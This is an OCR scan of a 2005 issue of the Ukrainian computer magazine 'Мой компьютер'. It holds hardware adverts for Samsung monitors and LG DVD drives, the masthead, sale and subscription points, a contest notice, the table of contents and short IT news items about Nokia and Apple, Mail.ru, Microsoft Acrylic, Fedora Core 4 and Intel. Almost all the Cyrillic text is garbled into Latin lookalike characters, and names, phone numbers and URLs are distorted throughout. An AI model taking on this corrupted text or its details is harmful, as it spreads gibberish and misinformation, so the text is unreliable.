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Hosi TFT-moHiTopn Samsung 913N 1a 721S
3 pekopaHoro WweuakicTio peakuyii Magic Speed™ — Bcboro 8 mc!
Hapwenpka peaxuis pobuTs L MOHITOPWU He3amisHuMK ans nepernaay DVD, ocobnmeo 3axonnioloumnx 6nok6a-

CTepiB, Ta AYHAMIYHUX KOMM'IOTePHWX irop. Balli He3abyTHI BpaXKeHHs AONOBHUTL AM3aWH, a 3PYYHICTb Y KOPU-
CTYBAHHI rapaHTyETbCA HOBOK €ProHOMIHHOIO KOHCTPYKUIEID MiACTaBKM.

®OyHKUiA HacTporkn konbopy Magic Tune™ Ta dyHkuis Magic Bright™, ska nossonae obpaTtu pexum ackpa-
BOCTi Ta KOHTPACTY B 3aNeXHOCTI Bifj NPOrpaMn KOPUCTYBaHHS, CHOTOAHI € BXE 3BU4HMMU ana TFT-MOHITOpiB
Samsung i ycnilHO NiOKPECIOTb X BUCOKOTEXHONOTIYHI NiAEPCHKI AKOCTI B HOBUX MOAENSAX.

Anrpi {0482) 379706, 379707 Poma (061) 2209622, 2209621, 2209615
MTI (044) 4583434 MNpexkcum-fl  (048) 7772277, 7772266
®okcTpot IT  (044) 2477037 (on1), 2359172 (po3ap) [arallioke (044) 2496303

Iuthopmayito Npo MaraauHu Ta aunepis Bu MOKETE OTPUMATH 32 TENEHOHOM
inpo-cnymbu CamcyHr Enextponixe: 8-800-5020000 (n3BiHKK 3i CTALIOHAPHWX TENEOHIB B Mexax YKpaiHu 6e3KOWTOBHI)

Www.samsung.ua



MOM KOMNbKOTEP

BbIXOOHbIE AAHHbLIE

BceykpauHCKUA BXEHENENbHUK
«MOW KOMIBIOTEP» Ne25,
20.06.2005. Tupox: 18 500.

Per. caupetenscreo: cepua KB Ne 3503 or 01.10.98.
MoanucHok uHaekc 8 katanore «Ykpnourax: 35327,
Yupegutens: OO0 «K-Undon.

Waparens: Manatensckui fom «Moi komneioteps
Kues, yn. Kauonosa, 6
info@mycomputer.ua
www.mycomputer.ua
Pefokums MoXer He pasaenstb MHEHUe OBTOPOB NyBnukaumi.
OTBETCTBEHHOCTL 30 COASPXAHUE PEKNOMHBIX MATEPHANOS
Hecet pexnamonatens. [Nepeneyatka matepuancs
TONBKO C PA3PELIEHHA PEAGKLIH,
© «Mown komnsiotepr, 1998-2005.
Pepakums: Kues, yn. Kavanosag, &, ten. (044) 455-3575
Dns nucem: 03126, Kues-126, o/s 570/8
Mapatens: Muxaun JluteuHiok.

InasHei pegaktop: TateaHo Koxanosckos.
3am. rnaskoro pepaktopa; Ceprei Muwko.
Xeneauuint pepaktop: Bnapumnp Cupora
Penakrope: Oner Kacu, Mrops Kim.
XypoxecteenHsi pesaktop: Annpen Lmapraniok.
My3bikaneHbin pegaktop: Buktop Mywkap.
SnuctonspHsi pepaktop: Tpypns.
uteparyphsie peaaktops:

Anra Kutoesa, [lownn Mepuoe.

Bepcrka: Cepren Oscanmk.
Xynoxnnku: @egop Ceprees, Eneno Macnosa.
Koppexrop: Enena Xaputarenko.
Paspabotka ausamxa: © crypua «J.K™Designy,
Hukona# Jluteunenko.

Hupextop no mapketuury u PR: bopuc Cupiok
Orpen mopketunro: Hapexao Hukoncesg,
Poman Bypakosckuit.

Pexnama: Oner Qepopos,

Banentuna Mapresny-Kpasuenko.
Oduc-menepxep: Tamapa 3opsopHosa.
Céuir: Nopuca Ocranosckas,

Enerc Hosaposa, Muxann Kosansuyk.
HouoneHmk otgena nonurpadmm: [Juutpuin Moxaes.
Orgen nonurpadum: Anexceit Jlutaurenko.
3xenepuposanme: Axatonui Knouko.
Paspoborka Web-caira:
© Hukonaw Yrapos. (v K O).
Moanepxka Web-coira: Poctucnos Crpenkosckuit,
Mpen. Uaporensckoro aoma B Xapskose:
Bavecnos benos (viacheslovb@ua fm)
Texnuueckas nogaepxka: ISP «T-Parky
Qorossisop: OO0 «Mupan Ten: (044) 247-4438
Nevore: Tunorpadms TM «Manaapuns,

T30B «Buaasnuua rpyna “Excnpec”s {fusinceka abn,
Asopiscekuit p—H, ¢. Packe Pycoke, Byn. Ceoboau, 5
Ten.. (0322) 97-4768)

3ok No 1383
Mevars obnoxkm: Tunorpadma «[lews Meuarun
ren: (044) 559-2655

Llena norosopuos

\"%

BHUMAHNE, NPOMOKALINA

YcnoBuA KoHKYpCca Ha cTpanuvue 4
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OrnABIEHUE

Honexno WAQHAS
MogHeit UntepHer
Ob6aop cairtos o moae

crp. 12-13 1

Cepren H MULLIKO h

K. Kan: «Intel Hauenena 6eime Becombim urpokom peiHka WiIMAX».

Mutepssio ¢ aupextopom Communications Technology Lab & cocrase Intel CTG
6

crp. 14-1 2
Anexcanap KOHIOAYPOB
Ho surpune: MAG PS576W
XK-mountop 169

crp, W7 3

Auran TOKAPEBCKUM aka 020n
AGP-ckopoxogs

Wyctpbie supsaxn Ha uvnax ATI

ctp. 18-20 4
Buranui IKYCEBMY
BIOS u ero HacTporiku
Henpepsiso — 0 npepoisaqmsx

ctp. 21 5

Buronun KNELKO
Mapa eepHbix kKoNoHOK 1 cabeydep
Heuoporon AOMALUHAA AKYCTrKa.

crp. 22-24 6
Hotanes KYWHWP
Ha eutpune: Logitech...
Hoewe GecnposoaHsie meiwm Logitech.

cTp. 25 7

Cepren SPEMYYK

nHHrBHH, UrpaowmmM Ha anste

Mocnennss sepcus anctpubytuaa ALT Linux 2 4 Maoster.
#

crp. 26-2 8
Hoaexao LUAOHASR
Muwerkn 6nuxHero npuuena
3asepwaem 0630p yTUAWT GNR NOKOMBHOTO MOMCKA.
9

cTp. 28-2 9
Moxcum [IPO3AY
Motomkn lNyten6epra
Yiunmte ana cmapt-nesatn — FinePrint u PDFFactory.

crp. 30-31 10

Cepreit HUIKAHOPOB (Don Julio)
Msarknue ovepTaHua TBepasix Ten
Mpoponkxaem CTPOUTL yTIOr.

crp. 32-3 11
Oaurpuin ENbYAHUHOB
MHenue 6onbwuHcTEa
Excel v Teopus npumaTUs peluenui

crp. 34-3 12
Cepreir YBAPOB
MNonesnas codrrHka. Beinyck 52
MoHUTOPUHT 1 3awmTa

ctp. 37 13

Errenui NOOATKO
Mo33ns u nposa dnnubycTeepckon Xu3HK
Uctopun obpetenns otevecraennoro IT-mentonutera

cTp. 38-39 -|4

Cepreia NAPUXCKMN
Yro 66l TOKOro caenarts NAOXoro?
Muwem renepatop npukonos Ha Delphi.

crp. 40-41, 43 15

Cepren TABPIOYEHKO aka Kirov & Apryp HEMEPUC aka R@ok
Ssoniouuns He no [apeuny
35 M6 yucton rennansHoCT.

crp. 42-43 16

TPYPAIb
Bbecepka «Moero Komnutotepan
Cyeta soxpyr ceccum

ctp. 44-45 16




TenedoH

MNoyToBbLIN agpec

BHNMAHWE!

Mecrta, rne Bel Bcerna moxete npuobpectn napanns UL «Moi komnbioTeps — xypHan «Peansiocts GaHTacTkns, a

Bunnuua

¥ Marasun «Cait khuru», yn. Keneuxas

¥ flotok Ha yray KowoBurckoro u SlenuHrpanckon

HAnenponerposck

¥ Kuockn «CB-nourax

Doneux

¥ Kuockun «Cowzneuarsy

v Maraaun «Mup npeccw», yn. [opskoro,
59-a, ten. 3853960

v yn Aprema, 131-a

v yn. Ocsoboxperua JonBacca, 4

Makeeska

¥ roct. «Mask»

Knes

¥ Knocku «Cowaneuatss

¥ Toproewe Toukn xCN-Cronuynme HOBOCTU»

v Knockn «@DakTbi»

Y KnnxHwi purok x[letposkas

¥ Knnxneiit cynepmapeet «byksa»

¥ CeTb KHUXHbIX MQrQ3MHOB U TOPrOBLIX TOYEK
«Opdenr

¥ Knvixnwi marasun «Cysackuks, np. MNobenw, 29

v et m JlecHan», OCTAHOBOUHBIA KOMANEKT

Takxe exeHenensHukn «Mo# komnetotep» 1 «Mol KomnbOTEP UIPOBOY:

¥ yn. Xunanckas, 87/30

Kpbism

¥ Cenacronons — knockn «Cowosneuarss
Nyranex

¥ Maraaunsl  kmockm «flyraHckneysarss
Nuaoe

v Knocku «Toprnpecca»

v Kuockun «MHTepnpeccar

Mapwuynons

¥ Kuocku «Cowaneuatsy

Hukonaes

Toprossie notkmn:

¥ yn. Cosetckas

v Cynepmapker «Censno»

v yn. Komcomoneckas, sosne knyBa «Myxectsos
v puHok Ha yn. [lzepxunckoro

v peiHok «CesepHbiin

v Comwr-Haonoess, yn. Kooworoetos, 61, Ten 581217
Opecca

¥ knockm «Opeccaropnpeccas

v knockn «fpecc-cnyx6o Opeccw»

noarnvckKA - 2005

Onrosas npogaxa:

v yn. Kocrawgw, 100

MNontaea

¥ «nocku MNonTtasckoro nouTamnta

¥ rasetHun pag «Ariotar, yn. Oxrabpeckas, 27
v notox Ha ocT. «Ormaxas (- «Ocenny), yn. Slermna, 118
Cym

v Ykpnouta

Tepronons

¥ notku «fa3eTh, *ypHOML, KPOCCBOPALI»
Xapekos

¥ [Q3IETHBIN PHIHOK

v marasun «BOOKS»

Xepcon

v knock, Byn. MupHui, 5

v kMock, yn. XKenesHoaopoxHOR
XmenbHuuKkmi

v Ontosas npopaxa (0382) 795668
YepHosaup

v kMocku «YKpnouTa»

[Mognucateca HO «MOR KOMABIOTEP® MOXHO BO BCEX OTAEnEHuax «YKpnouTs», uHaekc no katanory 35327 CroumocTs M3aaHMs, B

3aBMCHMOCTH OT nepuona, coctaenseT. | mecan — 1005 rpH, 3 mecsua — 29.9 rpn, 6 mecaues — 592 rpH. 9 mecsues — 88.8 rph,

12 mecaues — 117.9

aapybexbs — www.ukrpressa kiev.ua

Kues

Cammut* 254-5050,

KSS* 464-0220,

Banu-undopm* 518-6682

{* dunnans no scem oBNaCTHLIM
ueHTpam Ykpammsi)

Mepuoauka* 228-6165

[Onenponetposck

Mepkypwii (056) 744-7287

Doneux

Mpen {062) 381-0930,

3anopoxse

Mpecc-cepeuc (0612) 62-5151

[Moanucky € KypbePCKOR AOCTABKOW MOXHO OCYLIECTBUTE YEPE3 CNeayiolMe GUPMBI

Kpemenuyr

Cammut-Kpemenuyr {05366) 3-2188
MpusotHo poctaska (05366) 2-5833
INbaos

[lenosas npecca (0322) 70-5482,
4N Uukapa 97-1515,

Nesosckuii kypeep 21-2201
Cammut-Nueos (0322) 74-3223
Hukonaes

Hoy-xay (0512) 47-2003
Cammut-Hukonaoer (0512) 56-1069
Qpecca

MuM {0482) 37-5264

YCnoBnad KOHKYPCA

Kpome Toro, pabotaioT cnegytowume caitel ¢ on-line npeponnatoi: www.poshta.kiev.ua, www.blitz-poss.com.ua, www.kss kiev.ua, u ans xutene

Cesactonons

Mcrap (0692) 71-6219

(dbunmanw Bo Bcex ropopax Kpeimal)
Cumdeponons

Kny6 6yxrantepos (0652),27-2019
Cammut-Kpeim (0652) 51-2493
Xapbkos

Cammut-Xapekos {0572) 14-2260
Xepcon

Ko63aps {0552) 22-5218
YeperoHorpag

Mpecc-kypeep (03249) 2-2250

Ot A po 91{03249) 2-9117

& [Iprobpectn «Moi KOMNLIOTEPN B PO3HULY MOXHO B KMOCKOX M HO PACKNCGAKOX NO BCEH TEPPUTOPHH YKPAWHH.

«AKTUBHO BE3Y4UI YUTATENb»

1. B koHKypce yqaCTBYIOT BCE NUCBMQ YMTATENER, NPOCTABMBLIAX OUEHKM NO 3. Ecu Bw Mpuchinany NUCema Kk kaxaomy Homepy mecaua (Ho He Gonee | Ha
10-6annbHOM LUKANE BCEM CTATBAM, YKA3AHHBM B OTNABNEHMUM, Homep), 8ce oHm ByayT y4OoCTBOBATH B PO3WIPLILIE NPU3OB CPEau YuTaTe-
2. HyxHO NpocTo BHCNOTH BHPE3KY W3 Fa3ETh C NPOCTABNEHHBIMMU OUEHKOMM nel, TO eCTb BALM WAHCH yBenuumsaloTes 8 4 pasal
CTQTeN B OrNOBNEHMM HOMEPA (cm. HO OBopoTe). DnexTpontwe nucema 8 4. Bmecte ¢ nopseaenuem utoros konkypea «/TYHUWAR CTATbA MECALIA» po-
KOHKYPCE HE yuQaCTBYIOT. aurpwsaoTea 1 nepawit, 2 6TOPwX U 3 TPETHUX NPU3Q CPEAM YMTaTENEH.

nl’lﬂ Yy4YacTuf B8 KOHKypce BMNWWIATE CBOW AaHHbIe
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http://ua.lge.com

Super Multi —
DVD Rewriter 3o

16x Double Layer

Mogens: GSA-5163D

DOUBLE LAYER

3anuc:

DVD+R: 16x; DVD-R: 16x
DVD+R Double Layer: 4x
DVD+RW: 8x; DVD-RW: 6x
DVD-RAM: 5x

CD-R: 40x; CD-RW: 24x
InTtepgpeiic: USB 2.0/ IEEE 1394

, | =Je € @ LG 22

Jmulti .

Mpotsirom ocTaMHix W'ATM pokis komnaHis LG Electronics € 6e3ymMOBHAM CBITOBUM MiAepoM y BUPOGHWLITBI ONTUHHMX
AMCKOBOAIB, BNEBHEHO YTPUMYIOUM NEpUe MicLe B YCIX CerMeHTax Lboro puHKy. YKpaiHChbKi KOpUCTyBaYi Ta BUPOGHUKM
KOMM'IOTEPIB TAKOX BUCOKO OLYHUNW TEXHONOrYHI NnepeBar npogykuil LG. Ha ue Bkasye Toit (hakT, wo 6nm3bko 40% ycix
Kxomn'ioTepie, Bupobnequx B Ykpaiki y 2004 poui, ykomnnektoBaHi guckoBogamn LG. Came 3aBOSKM BUCOKIA sKOCTi
(4actuHa pedexthux auckosofis — 0,6% Big 3aranbHoro o6cAry Npoaaxy), Sika NiTBepMKEHa ABOPIYHOID rapaHTIen, Ta
TEXHIYHUM IHHOBAL(iSIMW, KOPMCTYBaYi B YCbOMY CBITi 3ynUHSAIOTL CBill BMGIp came Ha npopykLil LG.

Binrenep 6yab-akuin guckosog LG y TpbOX Konbopax:

GSA-41638B GCC-452188 * GCE-8526B8B * GDR-81638 * GCR-8523B *

DOUBLE LAYER 52x32x52x CO-RW » 52x32x52x CD-RW * 16x DVD-ROM * 52x CD-ROM * Texuonorin
3anuc: DVD+R: 16x, 16x DVD-ROM * 2 M0 Gydep * 2 M6 6ychep * Texwonorin Yurae sl icuywui hopmara: onTamizauil wenauoeyi
DVD+RW: 8x Texnonoria saxucry sin 3AXNCTY 8ift CNYCTOMENHA DVD+R/RW, DVD-RAM, NPHCTPOIO B 3aneXHOCTI BIf
DVD-RW: 6x, DVD-RAM: 5x, cnycromenwn Gydepy * Gychepy * dynxuia Mt.Rainer DVD-ROM, CD-RRW, THNY HOCIR ~ MiHIMansHmit
CD-R: 40x, CD-AW: 24x ®ynuuin Mt.Rainer CO-ROM * 2 M6 Oychep PU3NK POIPHBY ANCKA

Auctpub'ioTopu:

Kuis ‘[latamokc” (044) 249-63-03 « "OPCI* (044) 230-34-74,

3anopixoka "Poma’ (061) 224-02-64,

Ogeca "Anrpi* (048) 37-97-07 « 'Mpekcim 0" (048) 777-22-77.

LienTpanuhuit cepBicHud uentp “Maryna Cepsic" y Kuesi: Ten. (044) 412-42-19
besxowtosHa iHthopmauiina ninia LG: ven. 8-800-303-0000




NHTEPHET

He ogunokan Nakia

Komnanun Nokia v Apple o6bssunu o
30GMYCKE COBMECTHOIO NPOEKTA, B PAMKAX
KOTOPOro nmpeanonaraercs paspaboTka
HoBOrO Hpay3epa ans MOPTATHMBHLIX YCT-
pO#CTB, ucnonsayiowunx nnardopmy Se-
ries 60. Kak coobwaercs, B 0CHOBY Npo-
rPOMMHOTO NPOAYKTa GyayT MOAOXEHb
KOMNOHEHTHI C OTKPBITBIM MCXOAHBIM KO-
nom, NprmeHsiowmrecs B Bpaysepe Apple
Saofari. Paspabotunkm, 8 4actHoOCTH, yno-
muHaioT mopynu WebCore v JavaScript-
Core. [Npeanonaraetcs, 410 HOBBIK Bpay-

3ep ana cmaptdoHos ByaeT BKIOUATL B
cehsd BCE OCHOBHbIE BO3MOXHOCTH COBPE-
menHoro 6paysepa ans nnatdopmsl Se-
ries 60, o Takxe NonyunT pag AONONHM-
TensHbIx GyHkumiA. Komnarnum Nokia n Ap-
ple Takxe obewator xopowee GuICTPO-
AENCTBME WM BOSMOXHOCTb 30rpysku non-
HOpa3mepHbIx Beb-cTparnL. MNpeseHTaums
NPOAYKTA AONXHO COCTOATHCS B MNEPBOK
nonosunHe cneaytowero roga. OaHospe-
menno Nokia coobwmna o Havane co-
TpyaHuaecTsa ¢ kopnopauuei Intel, uens
KOTOPOro 3UKMIOYAETCH B NPOABUXEHMM
HQO PBIHKE TEXHONOMK BECTPOBOAHOM CBS-
3n WIMAX (cokpawenHo ot Worldwide
Interoperability for Microwave Access).
Cetn WIMAX nosBonaioT opraHu3oBaTth
nepesayy MHeopMauri Ha ropasao 6onb-
WwKe paccTosHus, yem BecnpoBOaHbIE NO-
kansHble cetn WiFi. Paguyc pevictens ce-
™ WIMAX moxet gocturate 45-50 km, a
MOKCHMQIBHAS MPOMYCKHAS CNOCOBHOCTL —
70 M6ur/c. Mnanmpyercs, yto Nokia un
Intel 3anmyTcs paseuTrem UHGpacTpyKTy-
pei ceten WIMAX, paspaboTtkoin cootser-
CTBYIOWMX ANNAPATHLIX KOMAOHEHTOB W
BHEAPEHWEM HOBbLIX CEPBUCOB HECNPOBOA-
HOWM nepeaayYn AAHHbLIX.
Wctounmnk: Komneonenta

Remocepsuc Mail.ru

14 wiona wHTepHet-xonaunr Mail.ru
NPEACTABKN NONL30BATENAM OBHOBNEHHYIO
Bepcuio cepsuca AsTo@Mail ru [avto.mail.ru)
AN8 NONYY4EHWUS OKTYANLHOW M CBEXEN MH-
dopmaumr 06O BCEM, YTO KACAETCH Mu-

pa astomobunen. Hosbi npoekT Teneps
COREPXMT MOCTOAHHO OBHOBNAEMYIO NeH-
Y HOBOCTeﬁ, KOTOpasa NONOJNIHAETCH CeMb
aHen B Hegen. PyBpuka «Astoob3opsiy
BkIKO4aeT B cebs 0630pHbIE CTATLM O HO-
BWHKOX POCCHMIACKOTO W 3apy6exHoro as-
TOMPOMA, HOBOCTM 30KOHOAATENLCTBA, NOA-
HOpKy MATEPMANOB O CTPUXOBAHUM U Kpe-
OWTOBAHKMKM, OMWUCAHWE TEeCT-APAanBOB W
KP3W-TECTOB, COBETLI NO TIOHUHTY K no-
KyﬂKe NOLEPXAHHBIX OBTOMO6Mne;1 M MHO-
roe gpyroe. B pasgene «Potvoranepen»
COBPAHLI NONONHAEMBIE APXHBLI GOTOTPa-
duit C MMPOBbIX OBTOCANOHOS, MOAENbHbIE
PAOb PA3NUYHBIX MOPOK, G Takxe $oTo-
PENOPTAXHK C PAUSNUYHBIX HHTEPECHBIX CO-
BbITHI (BLICTABOK, rOHOK, NEPGOPMAHCOB),
CBA3AHHBIX C aBTOMOBURsmu. [JononHeHw-
em HoBoM Bepcnn AsTo@Mail.ru cran pas-
aen «Kartamors — NonMbIA KATAROT BCEX
CYWECTBYIOUIMX MOAENEN aBTOMODUNENR C
TEXHUYECKMMU XOPAKTEPUCTUKAMM KOUXAO-
rO TPAHCNOPTHOrO CPEACTBA. YAoOHbINA uH-
Tepdenc pasaena nos3sonser BuICTPO W
NIErKO HANTH MHTEPECYIOULYIO BAC MOAEN
cpenu coten apyrux. Jlenta «Mpobkn on-
line» NPEAOCTABNAET BCEM NMONb3OBATENSM
MHOOPMAUMIO O 3ATPYAHEHWAX HO AOPO-
rax MOCKBbI M NOMOraeT NPOexaTh NO ro-
pPOAYy C HOWMEHbLLIMMK TIOTEPAMN BPEME-
Hu. basa matepranos Ha aBTOMOBKLHYIO
Tematuky Beina pacwmpera Gnaroaaps
AOTOBOPEHHOCTH O COTPYAHUYECTBE 1 06-
MEHE MGTepHOﬂOMM C TAKUMU U3ATOHNTIMU,
kak «3a pynem», <ABTOMOBUNLHLIE U3BEC-
tua», «Koneca», «MK-Mobuns», TopGear,
WhatCar?, a Takke ¢ psaom OHNANHOBbIX
CMW. Moceturenam pecypca Teneps npe-
LOCTORAAETCA BOZMOXHOCTb MHTEPHET-KOH-
CYNbTALMA € NPEACTABMTENAMK CTPAXOBbIX
KOMNAHWA 1 BAHKOB NO BONPOCAM ABTO-
CTPAXOBAHMA KU NONYYHEHUA KPEOUTOB Ha
nokynky asTomotuns. [lomumo BHyTpeH-
HUX YCOBEPLWEHCTBOBAHUIA, NpoekT As-
To@Mail.ru cmenun ausaik 8 cTune rnas-
HOM CTPOHMULI nopTana. B nnanax passu-
s npoekta AsTo@Mail.ru — cosparue
cucTems nybnukaummM 0OBIBNEHWH O NPO-
RAXE M NOKYNKE NOAEPXAHHLIX ABTOMO-
6unen, a Takxe pPAa APYIMX MHTEPECHbIX
U NONE3HbLIX OBTOMODUNMCTAM CEPBMCOB.
McTounuk: Komnsoneqta

NPOrPAMMb!
Rkpunogas «beman gna BCex

Kopnopauus Microsoft Hasana 6eta-
TECTUPOBAHWE HOBOrO MPOTPAMMHOTO na-
KETQ, MOMYYMBLUETO KOAOBOE HA3BAHWE
Acrylic. MpodeccnoHansheiil peaakTop
Acrylic npearasHaden ans paboTsl ¢ pac-
TPOBO# 1 BEKTOPHOH rpadmkoit. o sBcen
BUAMMOCTH, BUHAMLHAS BEPCHA HOBOTO
npoaykta Microsoft 6yner nosuumnonmnpo-
BATLCA B KayecTse anbTepHatyeel Adobe

Acrylic (Beta)

{codename]

Photoshop w Adobe lllustrator. Kcraru,
Acrylic B HacTOsAWEE BpEMS NO3BONSET OT-
kpuiBaTh dainel 8 dopmarax Photoshop

I
4

!
Hosocmu
-

u llustrator, oaHako ans coxpaHermus pac-
TPOBOW rpadukn MOXET GbiTh MCNONL30-
BOH TOMLKO NULLL COBCTBEHHBIN CTAHAAPT
XPR. B ocrosy Acrylic nonoxera rpagm-
yeckas cuctema Expression roHkoHrckon
xomnarnn Creature House, kotopyio cod-
T8epHLI ruraHT npuobpen 8 2003 roay.
MpumenartensHo, 4TO ewe A0 nornolie-
Hus dupmbl Creature House kopnopaum-
en Microsoft cywecrsosana sepcua Ex-
pression Ans ONepaunoHHON cucTemsl Ap-
ple Mac OS. OgHako Acrylic 3anyctnts
Ha «MakuHTowe» He yaacTcs. Mexay Tem,
nonb3oBATENM, yXe ucnoitaswme Acrylic,
YKQ3LIBAKOT HO PRA CEPLE3HBIX HEROCTAT-
KOB AGHHOrO NPOAYKTa. TecTeps, B 4aCT-
HOCTHU, OTMENYAKDT, YTO NO CBOWMM BO3MOX-
Hoctam Acrylic 6nuxe k penakTopy Ha-
yansHOTO ypoBHs Microsoft Paint, Hexe-
nv k Photoshop wnw Paint Shop Pro. Kpo-
me Toro, Acrylic npeabaBnseT AoCTATOYHO
BLICOKME TPeBOBAHMA K ANNAPATHOMR Yac-
T komnsloTepa: npoueccop Intel Pen-
tium 4, 512 M6 onepaTwBHOM NAMATH,
500 M6 ceo6oaHOro NPOCTPAHCTEA HA
XECTKOM AMCKE M NNAHWET C MOMAAEPXKOM
urtepdeiica WinTab. Bapouem, 8 Microsoft
YKQ3bIBAKOT HO TO, 4TO B HOCTOSILLEE BPE-
MA BEAYTCA pO6OTbI no ONTUMN3AaUnKM KO-
00 C LENbIO YAYNWEHWA NPOM3BOANTENb-
noctu Acrylic. Bera-sepcuio Hosoro rpa-
duyeckoro peaaktopa Microsoft moryT 3a-
rPY31TL BCE XENawme (www.microsoft.com/
products/expressian), PA3MED YCTAHOBOYHO-
ro daina — 77 M6, cpok AencTBMsa muc-
Tekaer 1 oktabps.
Mcrounnk: KomnetoneHta

(Degopuro Kope

13 uioHs 6biN0 OBLABNEHO O BLIXOAE
duHanbHoro penusa nonynapHoro Linux-
anctpubytusa Fedora Core 4 (fedora.
redhat.com). 10T AMCTPpUBYTMB paspabo-
THBAETCH COOBUIECTBOM IHTY3UACTOB NOA
naTpoHaxem komnaHwn Red Hat n pac-
npocTpanseTcs ceobonHo. Hosbie sepcuu

Fedora

FR B J BAET

Fedora Core BhinyckatoTcs nprmepHO pas
8 nonrono. B Fedora Core 4 umeetcs psaa
HOBOBBEAEHWI WM YCOBEPLUEHCTBOBAHMIA,
KOTOPbIE KACAIOTCH KOK BHELIHEro BMAQ,
TAK U NPOTPAMMHON COCTABASIOWENR. 1aK,
B cocTae aucTpubyTUBa BOLWINK rpaduye-
ckne paboune cpeas KDE 3.4 w
Gnome 2.10, npegsaputensHas sepcus
oducHoro naketa OpenOffice.org 2.0,
se6-6paysep Firefox 1.0.4, kommyHukaum-
onnbit naket Mozilla 1.7.8., rpaduyeckmit
peaaktop Gimp 2.2.7 v 1.4. Bepcua uc-
nonbayemoro sapa — 2.6.11, a sepcus
komnunatopa GCC — 4.00. Takxe Hosas
sepcus auctpubytuea Fedora Core nog-
ASPXMBAET KNACTEPHYIO GAMNOBYIO CHC-
temy GFS 6.1-0.pre22. Muorum noneso-
BaTensm npeasiaywmx sepcuid Fedora Core
XOPOLIO 3HAKOMA TEMQ rpabnieckoro uH-
Tepdesica Bluecurve. Teneps paspabort-
YWUKK NPEANaraioT HOBYIO W3ALWHYIO TEMY
Clearlooks. Fedora Core 4 noanepxusa-
er TpW annaparHsie Anardopmer: 32-pas-
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pafHbie npoueccopsl Intel u cosmectumbie
C HumKn, 64-paspagHble NPOLECCOpPS
AMD64 n Intel EM64T, 32-x u 64-paspan-
Hoie npoueccopsl PowerPC (PPC). Kak u
NPeasbiaywme BePCHM ancTprbyTnea, cka-
yate Fedora Core 4 moxHo ¢ cepsepa
komnarmun Red Hat unu ¢ oaHoro 3 mHo-
FOYUCIIEHHBIX 3EPKAN, PACNONOXEHHBIX NO
BCEMY MMDY.

WcTounuk: KomnsioneHra

Anpeca nCToyHnKos:

KomnsioneHTta: hitp:/ /www.compulenta.ru

TEXHONOrmn

«M» — meneph U B Ccepeepe

Ha suictaske Computex kopnopaums
Intel 06BLaBUNG O NOpAEPXKE CBOMMM YMN-
ceramm E7520 v E7320 npoueccopos Pen-
tiun M n Celeron M. Paree onw nopaep-
XWBQANMM TOMLKO MPOLECCOPL CEMENCTBA
Xeon. Ha ceroans nssectHo 5 moBunbHbIx
NPOLECCopoB, paboTOCNOCOBHOCTL KOTO-

PbIX TAPAHTUPYETCS B COCTABE CEPBEPOB:
Pentium M 760 (2 [Tw), Pentium M 745
(1.8 TTy), Pentium M ULV 738 {1.4 TTw),
Celeron M 370 (1.5 [Tu) n Celeron M ULV
373 (1 IMy). Hoevie sBanuanposaHHeie nnat-
GOPMBI NOULMOHUPYIOTCH AN KOMMYyHM-
KOUWOHHBIX 1 NPOMBILINEHHBIX CEPBEPOB.
Kpome nopaepxkn npoueccopos Pen-
tium M Celeron M ¢ wactoramm FSB 400
1 533 Ml ana E7520 v tonsko 400 My —
ans 7320, unncets noasepxmBaaT KoH-
durypupyemsie nHtepdencsl PCI-E x8 —
3 nopra ans E7520 w 1 nopt ana E7320.
OcransHsie XapakTEPHCTUKM OAMHAKOBbIE:
uHTepdenc namstn DDR2-400, noapep-
xneaetcs ECC-namats, sepkanuposarme
namati, korTpons CRC-nakHbIX v ropsdas
3ameHa yctpoincte Ha wune PCI-E, nopr
yaaneHHoro ynpasnenms SMBus.
Mcrounnk: iXBT

B 3anac, B omcmaeky, WA MOKDl...

Komnanusa Intel B ovepenHon pas no-
WNA HA TOT WAr, KOTOP.IA NONL3OBATENM
HOBEPHSAKA BYAYT PACLUEHMBATL NO-PA3ZHO-
my. Peus nanet o6 odyepenHoi «oTnpaske
HO MEHCMIO» BECbMA BNEYATNSIOWENH Nap-
T Npoueccopos. B nanHom cnyuae peus
naet o mobunbHbix unnax Mobile Pentium 4
cvactoton 2.8, 3.06, 3.2, 3.33 1 3.46 Iy,
n 533 Mlu cuctemnon wuroi. Kak u npe-
XAe, CHE MEPONPHATHE OBBACHAETCH pOC-
Tom cnpoca Ha Bonee NponssoanTENbHbIE
NPOLECCOopPbl KOMNAHMWM.

DAKTUYECKM PEYL MAET O NONHOM Bbi-
BOAE Npoueccopos apxutekTypsl NetBurst
13 BCex moBUMbHLIX cemencTs. Bnpouem,
HOYTOYKM, HO KOTOPLIE OHK BbIAKM PACCYM-

MOM KOMIMbIOTEP

TAHBI, YOWE BCEro NMPEAHA3HAYANUCH ANA
3aMEHBI HOCTOMbHbIX cucTem. PasopuTta-
MW MOBUNBHOW NMMHEHKKM TENEPL B MOMHOMN
MEpE CTANM MPOUECCOPH APXUTEKTYPS!
Pentium M.

Kak coobujaercs, cnuceisaemsie «B 3a-
nac» NPOLECCOPS eule moxHo Byner 3a-
kasats Bnnote go 19 asrycra. Mocrasku
Xe uunos u Bosce BylyT NMPOAONXATLCS
no 20 okta6pa 2006 ropa.

Uctounnk: D-Lentp

HoymByku Hauunalm U BhiUZPbiBalMm

Ananutuku n3 komnanmm Current Analy-
§iS OTMEYAIOT, YTO MO PE3yNsLTaTaM NPO-
pax 8 CLUA 30 main 2005 r. Hoyt6ykm
0B0WNKM HACTONbHLIE CUCTEMbI, 3QHAB
53.3% ot obuwero obvema. B npownom
rofy atoT nokasarens cocrasnan 45.9%.
Panee yxe nabnioaanoce npesbiwierne
obbema Npoaax HOYTOYKOB HAA HACTONMb-
HEIMM CUCTEMOMM, OHTKO A0 CUX NOP OHW
HOBMIOAANNCE B TEHEHWUE HENPOAOMKHTERL-
HOTO BPEMEHM — OKOMO Henenu, v Guinu
CBA3QHBI C NPOBEAEHWEM MOCCUPOBAHHBIX
MUPKETUHIOBLIX GKLMIA. Takum o6pa3om,
nokasatenu mas 2005 r. aenaoTcs sax-
HOW BEXOW B PA3BUTHM PLIHKG HOYTEYKOB.

B kavecrse npuunn Takux Temnos pas-
sutns Current Analysis suinensiet Tpu oc-
HoBHbIE GakTopa. Bo-nepssix, sHauntens-
HO YBENWYMNOCH YMCIIO MIPOKOB HA PO3-
HUYHOM PBIHKE, MHOTUE M3 KOTOPLIX MPef-
narawT GopkeTHee moaeny. Bo-sTopsix,
cpeaHue ueHst Ha HoyTByku B mae 2005 1.
ynanu no4th Ha 17% no cpaBHEHUIO C M-
em npowwnoro roaa (51131 npoTus $1370),
